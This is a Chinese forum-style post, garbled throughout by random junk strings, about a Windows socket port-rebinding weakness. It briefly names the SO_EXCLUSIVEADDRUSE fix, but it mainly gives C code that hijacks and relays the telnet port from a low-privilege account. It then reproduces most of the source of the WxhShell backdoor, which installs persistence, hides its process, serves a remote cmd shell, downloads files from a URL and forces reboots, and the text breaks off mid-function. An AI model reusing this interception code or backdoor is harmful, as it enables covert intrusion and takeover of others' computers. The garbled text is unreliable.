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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CRK%%;=> s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?]i.Zi\[f so~vnSQ!x saddr.sin_family = AF_INET; 4CR.= W2CCLq1( saddr.sin_addr.s_addr = htonl(INADDR_ANY); :JBvCyj4PE wYxnKm~f bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ood8Qty( K)m\xzT/ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *82f{t] >"^H"K/T 这意味着什么?意味着可以进行如下的攻击: ?.&]4z([ [i7Ug.Oi" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L
B:wo.X J&%d(EJM 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) U%2[,c_ _wa1R+`_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H{Zfbb ES~ykE 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Ey5E1$w%& Z:Hk'|q}I 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A"wor\( YQU#aOl 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^j"*-)R }Wxu =b 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <t9#~x#'b qla$}dnvc #include jOuz-1x,& #include }R.<\ #include _1D'9!+ #include F<'@T,LVc DWORD WINAPI ClientThread(LPVOID lpParam); sq6|J])GgU int main() "xS?#^a { `(j}2X'[ WORD wVersionRequested; Hu"?wZj DWORD ret; 2Z3c` /k WSADATA wsaData; %]/O0#E3Kz BOOL val; &yFt@g] SOCKADDR_IN saddr; ~(2G7x)
SOCKADDR_IN scaddr; DL&\iR int err; 9v_B$F$_T SOCKET s; &5Ai&<q"p SOCKET sc; /IDfGAE int caddsize; <mE)&7C HANDLE mt; -V
Rby DWORD tid; lNtZd?=> wVersionRequested = MAKEWORD( 2, 2 ); ]AlRu( err = WSAStartup( wVersionRequested, &wsaData ); 7r=BGoA2E if ( err != 0 ) { bAIo5lr printf("error!WSAStartup failed!\n"); +" 4E:9P? return -1; }gY:VDW } 6 /T_+K.k saddr.sin_family = AF_INET; !C&!Wj A;~u"g 'z& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 52-Gk2dp c hE~UQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B2UQO4[w saddr.sin_port = htons(23); (uBevU\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fL[(;KcAa { n
GE3O#fv printf("error!socket failed!\n"); ht8%A 1| return -1; we6']iaV } b<UZDy N~ val = TRUE; K*Tj; //SO_REUSEADDR选项就是可以实现端口重绑定的 `>^2MHF3LT if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /6_>d$ { F?]nPb| printf("error!setsockopt failed!\n"); ejYJOTT{^ return -1; ADoxma@ } oi4tj.!J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *c} MI
e'& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qp>V\h\ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9o7E/wP Rn={:u4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jBexEdH
{ bqmOfGM ret=GetLastError(); SooSOOAx[ printf("error!bind failed!\n"); Z/=x(I0 return -1; Pyc/6~? } I~lX53D listen(s,2); ]m0MbA while(1) bg$df 0 { `.PZx%= caddsize = sizeof(scaddr); E]PHO\f-m} //接受连接请求 7T
\}nX1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); CrHH Ob if(sc!=INVALID_SOCKET) a}l^+ { \] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1=C>S2q if(mt==NULL) 3| 5Af { fDo )~t*~ printf("Thread Creat Failed!\n"); Bor _Kib break; ;hsgi|Cy- } MrIo. } |1`|E-S= CloseHandle(mt); o ~"?K2@T } uZ mi closesocket(s);
JwR]! WSACleanup(); Q8.SD p return 0; Q5'DV!0aSv } 6AgevyVG DWORD WINAPI ClientThread(LPVOID lpParam) 3{o5AsVv { hamn9 SOCKET ss = (SOCKET)lpParam; vluA46c SOCKET sc; XYD}OddO unsigned char buf[4096]; )]Xj"V2 SOCKADDR_IN saddr; V6'"J long num; Y=JfV DWORD val; (hTe53d<S? DWORD ret; o$I% 1 //如果是隐藏端口应用的话,可以在此处加一些判断 &-#!]T-P:E //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 e=KA|"vxh saddr.sin_family = AF_INET; Y>z~0$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y4,~s64e saddr.sin_port = htons(23); VZNMom,Wr if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;' !G?)PZ { b;#Z/phix printf("error!socket failed!\n"); mjUln8Jc return -1; wJA`e)> } DZGM4|@<7Y val = 100; -E1b5i;f if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !K;\{/8 { +5(#~ ret = GetLastError(); B5"(NJ; return -1; ^]}UyrOn } fw@n[u{~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '6*^s&H~ { H8j#rC#&pm ret = GetLastError(); !gv/ jdF return -1; #)`N } )F;`07 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7r#U^d( { 0?525^ printf("error!socket connect failed!\n"); bY:A7.p7# closesocket(sc); E/@w6uIK[ closesocket(ss); C5;=!B return -1; \O
9j+L" } 7a.$tT while(1) >h>X/a(=~ { !kZ9Ox9^ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3# G;uWN- //如果是嗅探内容的话,可以再此处进行内容分析和记录 f Co- ony //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ht,_<zP; num = recv(ss,buf,4096,0); qh;ahX~ if(num>0) 4PUSFZK? send(sc,buf,num,0); fMRBGcg7Dc else if(num==0) dD@k{5 break; *Q=ER num = recv(sc,buf,4096,0); U%3d_"{; if(num>0) [80jG+6 send(ss,buf,num,0); 9dl\`zlA* else if(num==0) iD=VNf break; v[VUX69 } *Iv.W7 [ closesocket(ss); Gv(bD6Rz closesocket(sc); Gqvnc8V& return 0 ; |FS,Av } t?H.M kBYZNjSz UD6D![e ========================================================== '3B`4W, F/z$jj) 下边附上一个代码,,WXhSHELL c RBdIDIc ]O2ku^yM ========================================================== )3g7dtq} ZGrjb22M #include "stdafx.h" ?r"][< sr%tEKba) #include <stdio.h> =)}m4,LA #include <string.h> 'j>+eA> #include <windows.h> BH _y0[y #include <winsock2.h> pE(\q+1< #include <winsvc.h> ^b=] =w #include <urlmon.h> 9B&QY 2v 0MDdcjqw #pragma comment (lib, "Ws2_32.lib") Kr $R " #pragma comment (lib, "urlmon.lib") )%'Lm AA&398F #define MAX_USER 100 // 最大客户端连接数 ncS.~F #define BUF_SOCK 200 // sock buffer b(wzn`Z%Et #define KEY_BUFF 255 // 输入 buffer Z(LDAZG VP^Yph 8R #define REBOOT 0 // 重启 "4N%I #define SHUTDOWN 1 // 关机 .),%S} EIO!f[]o #define DEF_PORT 5000 // 监听端口 J~7E8 T;D`=p# #define REG_LEN 16 // 注册表键长度 yyZ}qnbx] #define SVC_LEN 80 // NT服务名长度 Bs2.$~ oK1"8k|Z // 从dll定义API yGl
(QLk typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b5u_x_us| typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \q#s/&b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z-(@j;. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GFd~..$ -AwR$<q' // wxhshell配置信息 @@$=MSN struct WSCFG { Rt!G:hy7 int ws_port; // 监听端口 -N`j` zb| char ws_passstr[REG_LEN]; // 口令 u,<I% int ws_autoins; // 安装标记, 1=yes 0=no {6Tw+/`P char ws_regname[REG_LEN]; // 注册表键名 X51pRP $R char ws_svcname[REG_LEN]; // 服务名 7MIu-x| char ws_svcdisp[SVC_LEN]; // 服务显示名 !%b.k6%>w char ws_svcdesc[SVC_LEN]; // 服务描述信息 Yjxa=CD char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R~u0! int ws_downexe; // 下载执行标记, 1=yes 0=no DArEIt6Q char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" [OJ@{{U% char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m)4s4P57y .m_yx{FZ= }; 5Gm,lNQ Av envu}4wU=e // default Wxhshell configuration 4Fhiac struct WSCFG wscfg={DEF_PORT, L12m ; "xuhuanlingzhe", `=b)fE 1, 0JTDJZOz@# "Wxhshell", "(j.:jayd "Wxhshell", <]I[|4J 7 "WxhShell Service", -Si'[5@ "Wrsky Windows CmdShell Service", F*QZVg+<*X "Please Input Your Password: ", 5^'PjtW6 1, I=)Hb?qT~ " http://www.wrsky.com/wxhshell.exe", +f/G2qY!t "Wxhshell.exe" D&_Ir>"\ }; !FOPFPn VQE8hQ37 // 消息定义模块 "'p;Udt/Qm char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oj*5m+:>a char *msg_ws_prompt="\n\r? for help\n\r#>"; t{?U NW char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; %v=z|d5-3 char *msg_ws_ext="\n\rExit."; ^SnGcr|a' char *msg_ws_end="\n\rQuit."; 0]
e= char *msg_ws_boot="\n\rReboot..."; 3XY;g{`=q char *msg_ws_poff="\n\rShutdown..."; n,sl|hv2U char *msg_ws_down="\n\rSave to "; )qs>Z?7 X~XpX7d! char *msg_ws_err="\n\rErr!"; 4"72 char *msg_ws_ok="\n\rOK!"; *=i|E7Irg -E~pCN(E char ExeFile[MAX_PATH]; ~6!{\un
int nUser = 0; !`S? HANDLE handles[MAX_USER]; |,CWk|G int OsIsNt; ?,e7v.b c"R`7P SERVICE_STATUS serviceStatus; eaP,MkK& SERVICE_STATUS_HANDLE hServiceStatusHandle; Bv,u kQ\CH _ +Ww1f // 函数声明 ,[enGw int Install(void); [O*5\&6 int Uninstall(void); \(Z'@5vC int DownloadFile(char *sURL, SOCKET wsh); g/ONr,l`- int Boot(int flag); +@D [%l| void HideProc(void); SPKGbp& int GetOsVer(void); ,lSt}Lml int Wxhshell(SOCKET wsl); 4L#q?]$ void TalkWithClient(void *cs); "l~wzPY) int CmdShell(SOCKET sock); e#0C int StartFromService(void); j>XM+> int StartWxhshell(LPSTR lpCmdLine); bnBnE[y<' (UWP=L1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "3CQ0 VOID WINAPI NTServiceHandler( DWORD fdwControl ); QXx<Hi^ / nTO,d$!Kp // 数据结构和表定义 4$9WJ~V{ SERVICE_TABLE_ENTRY DispatchTable[] = v!(BS, { kzPHPERA] {wscfg.ws_svcname, NTServiceMain}, ~M`-sSjZs {NULL, NULL} 1<a+91*=e }; 8_0j^oh A-<\?13uW // 自我安装 o>x*_4[ int Install(void) r@L19d)J { Q?Vq/3K; char svExeFile[MAX_PATH]; +')\,m "z HKEY key; Sz4YPl strcpy(svExeFile,ExeFile); )70-q yA `*nVLtT Y // 如果是win9x系统,修改注册表设为自启动 WP-?C<Iw if(!OsIsNt) { N{v
<z 6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6jjmrc[#}X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >#).3 RegCloseKey(key); (Qmpz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ju#/ {V;D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e m`z=JGG RegCloseKey(key); )s^D}I( return 0; EjLj5Z/q } zs!,PQF( } SS OF\ } \{ else { ;&4}hPq &~oBJar // 如果是NT以上系统,安装为系统服务 d`9%:2qE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +{Yd\{9 if (schSCManager!=0) 9[}L=n { [#$: X+lw SC_HANDLE schService = CreateService 7Pspx'u ( JK:i- schSCManager, Lqy]bnY wscfg.ws_svcname, ?EF[OyE wscfg.ws_svcdisp, M]&F1< SERVICE_ALL_ACCESS, Xy[O SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /IS_-h7>XS SERVICE_AUTO_START, ^g/ SERVICE_ERROR_NORMAL, 4'JuK{/ A7 svExeFile, _bB:1l?V NULL, [5>f{L!<T< NULL, E0QrByr_ NULL, )P NULL, Z{"/Ae5] NULL F|\^O[#R ); !}7FC>Cx if (schService!=0) z0[_5Cm/ { u|prVzm\m CloseServiceHandle(schService); iX4?5yz~< CloseServiceHandle(schSCManager); 4DaLt&1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n$B SO strcat(svExeFile,wscfg.ws_svcname); ';"W 0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %D|p7& RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,r\ RegCloseKey(key); O ;,BzA-n return 0; :%ms6j/B&V } Sx{vZS3 } J8Bz|.@Q CloseServiceHandle(schSCManager); L{_Q%!h3] } _7df(+.{<A } Tjba@^T 7=yV8.cD return 1; |HhqWja } A.nU8 >*/\Pg6^ // 自我卸载 q~_DR4xZ int Uninstall(void) It$'6HV~Sb { #
+OEO HKEY key; Q/'jwyj_ K,f*}1$qM if(!OsIsNt) { M*ZR+pq, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )`;Q]?D RegDeleteValue(key,wscfg.ws_regname); c^ $_epc* RegCloseKey(key); LLE\ ;,bv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dO/iL7K& RegDeleteValue(key,wscfg.ws_regname); rH@{[~p RegCloseKey(key); m~`d<RM/ return 0; rqJ'm?>cr } cm`Jr#kl{ } MDkcG"O } y(gL.08< else { fyYHwG \@IEqm6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XL9smFq if (schSCManager!=0) AAbI+L0m{ { (bpO>4(S SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SM%N]/@U if (schService!=0) 7wKN { FKhmg&+> if(DeleteService(schService)!=0) { LIzdP,^pc CloseServiceHandle(schService); (I(?oCQ CloseServiceHandle(schSCManager); 6&jW.G8/ return 0; y.h2hv]Bc } %eK=5Er jx CloseServiceHandle(schService); 8%C7!l q } S#km`N` CloseServiceHandle(schSCManager); \VQv
"wid } PeD>mCvL" } ]B8`b lG[@s 'j return 1;
=j,2 } -G\svwv@) &Pk #v // 从指定url下载文件 QH z3 int DownloadFile(char *sURL, SOCKET wsh) [4p~iGC { b)+nNqY| HRESULT hr; pxf(C<y6_ char seps[]= "/"; Bi}uL)~rD char *token; M8_f{|!& char *file; ^qB
a~
char myURL[MAX_PATH]; 9]u=b\fzZ char myFILE[MAX_PATH]; %x}iEqk U V{#8+ strcpy(myURL,sURL); G;RFY!o token=strtok(myURL,seps); HpbSf1VvAf while(token!=NULL) 2bu,_<K. { l', +l{\Z file=token; j@g`Pm%u` token=strtok(NULL,seps); ^,-2";2Xh } gX29c EKQ\MC1 GetCurrentDirectory(MAX_PATH,myFILE); Oy(fh%k# strcat(myFILE, "\\"); <Zb~tYp strcat(myFILE, file); f\p#3IwwH send(wsh,myFILE,strlen(myFILE),0); /\7E&n:)2 send(wsh,"...",3,0); IKaa=r~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ry47Fze if(hr==S_OK) xxnvz return 0; Jcy{ ~>@7 else mVaWbR@HS return 1; %:/@1r7o> H$D),s
gv } kZb #k# ]1Wh3C // 系统电源模块 <8J_[
S int Boot(int flag) CjRU3
(Q { N.~zQVO#R HANDLE hToken; -hd@<+;E TOKEN_PRIVILEGES tkp; G4&vrM,f e\8|6<o[ if(OsIsNt) { +aY]?] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =1MVF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e]9Z]a2 tkp.PrivilegeCount = 1; P/!W']OO tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \ 8v^ hb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $U/|+*
if(flag==REBOOT) { 3Q0g4#eP if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \\R$C return 0; Jn :h;|9w } S4ys)!V1V else { T]_]{%z if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "26=@Q^Y return 0; 2gasH11M } *\$m1g7b } C%RYQpY*c else { "
""k}M2A if(flag==REBOOT) { twWzS
4; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) * :kMv;9 return 0; EvP\;7B } 5^5hhm4 else { \rpXG9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;2y4^ return 0; =&K8~
} iNCT( N~. } f>CJ1;][{ ;% <[*T:*' return 1; {D$5M/$ } ln1!%B; +0l-zd\ // win9x进程隐藏模块 Q\W?qB_ void HideProc(void) {*PbD;/f { WGwIc7 1IPRI<1U HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f1$'av if ( hKernel != NULL ) ~T^,5Tz1j { cM_!_8o pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x
DiGN Jc ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _LSp \{Z FreeLibrary(hKernel); 1w!O&kn } C0gY c5em*qCw$ return; |Vo{ {) } VPr`[XPXb 11iV{ h // 获取操作系统版本 Y*QoD9<T?; int GetOsVer(void) d-cW47 { LrH"d OSVERSIONINFO winfo; 64UrD{$o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oTN:Q"oK7? GetVersionEx(&winfo); h!mx/Hx if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]3Y J a return 1; QOR92}yC else /O}lSXo6E return 0; WYN0,rv1:+ } iLt2L;v>h j Gp&P // 客户端句柄模块 3GL,=q int Wxhshell(SOCKET wsl) 3y%,f|ju { LC,6hpmh SOCKET wsh; U#G<cV79 struct sockaddr_in client; _)S['[ DWORD myID; ()Q#@?c~ %"Ia]0 while(nUser<MAX_USER) ` 7P%muY. { X`20=x int nSize=sizeof(client); >{)\GK0i7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -V&nlP if(wsh==INVALID_SOCKET) return 1; z2lT4SAv+ Ea)=K'Pz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I {%Y0S if(handles[nUser]==0) wq7h8Z}l closesocket(wsh); cTBUj else Ay6]vU nUser++; {.])'~[U } =o:1Rc7J WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /K(l[M 2YQ;Kh"S
return 0; x=03WQ8 } ,R\e x =c N*f]NCSi // 关闭 socket w\RYxu? void CloseIt(SOCKET wsh) P=aYwm C { TbD
$lx3> closesocket(wsh); . {vMn0c nUser--; A*~BkvPr ExitThread(0); j+PLtE } ZPG~@lU kni{1Gr // 客户端请求句柄 Iqci}G%r void TalkWithClient(void *cs) :*ZijN*{)$ { VHi'~B#'* *P/DDRq(2 SOCKET wsh=(SOCKET)cs; Ss3~X90!*B char pwd[SVC_LEN]; 3Rhoul[S char cmd[KEY_BUFF]; +NJIi@ char chr[1]; >0UY,2d int i,j; 9PUobV_^Wo mT/^F{c while (nUser < MAX_USER) { )3WUyD*UZN }9 ]7V < if(wscfg.ws_passstr) { =M6{{lI/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5@J]#bp0M //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~3Za"q*0s //ZeroMemory(pwd,KEY_BUFF); HB,?}S#TP i=0; h$XoR0 while(i<SVC_LEN) { `-.6;T}2U D_?dy4\ // 设置超时 82 dmlPwJC fd_set FdRead; :NL[NbQYt struct timeval TimeOut; #uV J FD_ZERO(&FdRead); ?OPuv5!pI FD_SET(wsh,&FdRead); |~@yXc5a TimeOut.tv_sec=8; RBfzti6 TimeOut.tv_usec=0; -Q/wW4dE= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V|TD+7.`QB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J/QqwoR
E[i#8_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I/%L,XyRI pwd =chr[0]; 29l bOi if(chr[0]==0xd || chr[0]==0xa) { RG=i74a pwd=0; >@h#'[z,d break; 9{}"tk5$h } k8!:`jG i++; ,rjl|F*
T } 2*< PmKI dV{mmHL // 如果是非法用户,关闭 socket E5#ff5 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \<hHZS } +4p=a [ ,|GjrT{vf send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4s9.")G send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A)gSOC{3F) .mNw^>:cq while(1) { oVr:ZwkG3 ;<*USS6X ZeroMemory(cmd,KEY_BUFF); 0|]d^bo LqXVi80 // 自动支持客户端 telnet标准 3<l}gB'S[ j=0; K,6{c^qf while(j<KEY_BUFF) { v0TbQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s)?GscPG! cmd[j]=chr[0]; /6F\]JwU if(chr[0]==0xa || chr[0]==0xd) { 7[mP@ { cmd[j]=0; /bn$@Cy@ break; F2MC) } 4\ |/S@. j++; z7z9lDS } ,@fx[5{ }
,^p{J/ // 下载文件 t>OEzUd9 if(strstr(cmd,"http://")) { vL;>A]oM2 send(wsh,msg_ws_down,strlen(msg_ws_down),0); VT-%o7%N if(DownloadFile(cmd,wsh)) LqO=wK~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); c^cr_i else `Z#':0Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /MMnW$)
} #C'E'g0 else { *VHWvj A^$xE6t switch(cmd[0]) { >JA>np ujl?! // 帮助 vRn]u57O case '?': { M]M>z>1*v send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y\4/M6 break; 7SN61)[m } acar-11_o/ // 安装 7<=p* case 'i': { L7n G5i if(Install()) 1M6^Brx send(wsh,msg_ws_err,strlen(msg_ws_err),0); =HB(N|9 _d else EiaP1o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i`Qa7 break; 9~$E+m( } ;q5|If // 卸载 H |7XfM case 'r': { *_d N9 if(Uninstall()) x4MTE?hT send(wsh,msg_ws_err,strlen(msg_ws_err),0); W8Wjq
DQ else {LVA_7@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BJ\81 R break; WMW=RgiW\ } '/9q7?[E! // 显示 wxhshell 所在路径 ;;m;f^]} case 'p': { DSWmQQ char svExeFile[MAX_PATH]; ?Ok&,\F@E strcpy(svExeFile,"\n\r"); {-MjsBR strcat(svExeFile,ExeFile); fFoZ!H send(wsh,svExeFile,strlen(svExeFile),0); `KE]RTq break; I<XYLe[_S } bo@
?`5 // 重启 Jh<s '&FR case 'b': { OSLZ7B^ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^ fyue~9u if(Boot(REBOOT)) ,KD?kSIf send(wsh,msg_ws_err,strlen(msg_ws_err),0); z;?j+ZsdH else { Ryygq,>VD. closesocket(wsh); )FmIL(vu ExitThread(0); @H3x51PT(m } kwqY~@W break; ADVS}d!;] } k4!_(X%8 // 关机 V1GkX=H}, case 'd': { 4*9t:D|} send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s[dIWYs# if(Boot(SHUTDOWN)) [k(b<' send(wsh,msg_ws_err,strlen(msg_ws_err),0); G<$8g-O;D else { D%LYQ
closesocket(wsh); Sv0?_3C ExitThread(0); $.:x3TsA } }~NXiUe break; ^nNpT!o } I.(@#v7T // 获取shell |W$|og'wC case 's': { 61_-G#W CmdShell(wsh); c53:E'g closesocket(wsh); cH4PrMm& ExitThread(0); 1Sza%D;3 break; v`jHd*&6) } bq8Wvlv04 // 退出 >M!LC case 'x': { Jw&Fox7p send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ziub%C[oV CloseIt(wsh); (fr=N5 break; ^c>Bh[ } ;"ESN)*|i // 离开 ]NI
CQ9 case 'q': { <5
OUk send(wsh,msg_ws_end,strlen(msg_ws_end),0); : vx<m_ closesocket(wsh); T9!NuKfur WSACleanup(); om9'A=ZU exit(1); ;Zj(**#H break; _Gaem"k| } arRU` 6? } >;bym) } =$L+J O cDzb}W*UM // 提示信息 }<@-= if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1-N+qNSD` } ~K;hXf } l?rLadvc rnQ_0d return; X9SOcg3a } DpQWh+WRy O^ui+44wp // shell模块句柄 Xdl
dUK[ int CmdShell(SOCKET sock) 6>;OVX { 0!KYi_3 STARTUPINFO si; W,[QK~ ZeroMemory(&si,sizeof(si)); *)`PY4zF si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @Tq-3Um si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Lj#xZ!mQS PROCESS_INFORMATION ProcessInfo; qO8:|q1%;\ char cmdline[]="cmd"; V/#J>-os}W CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Iz
j-,a return 0; e8wPEDN*4 } /':64#' ($/l_F // 自身启动模式 |HYST` int StartFromService(void) %6rSLBw3 { V9qA'k typedef struct GG<0k\RN { U{bv|vF DWORD ExitStatus; IbL'Z DWORD PebBaseAddress;
N-&ZaK DWORD AffinityMask; ]jn1T^D' DWORD BasePriority; <6Y;VH^_ ULONG UniqueProcessId; #Ha"rr46p ULONG InheritedFromUniqueProcessId; %8%|6^, } PROCESS_BASIC_INFORMATION; %#~wFW|]x CDXN%~0h PROCNTQSIP NtQueryInformationProcess; c2,g%( 7CSz static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Im!b-1 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @>.aQE !L
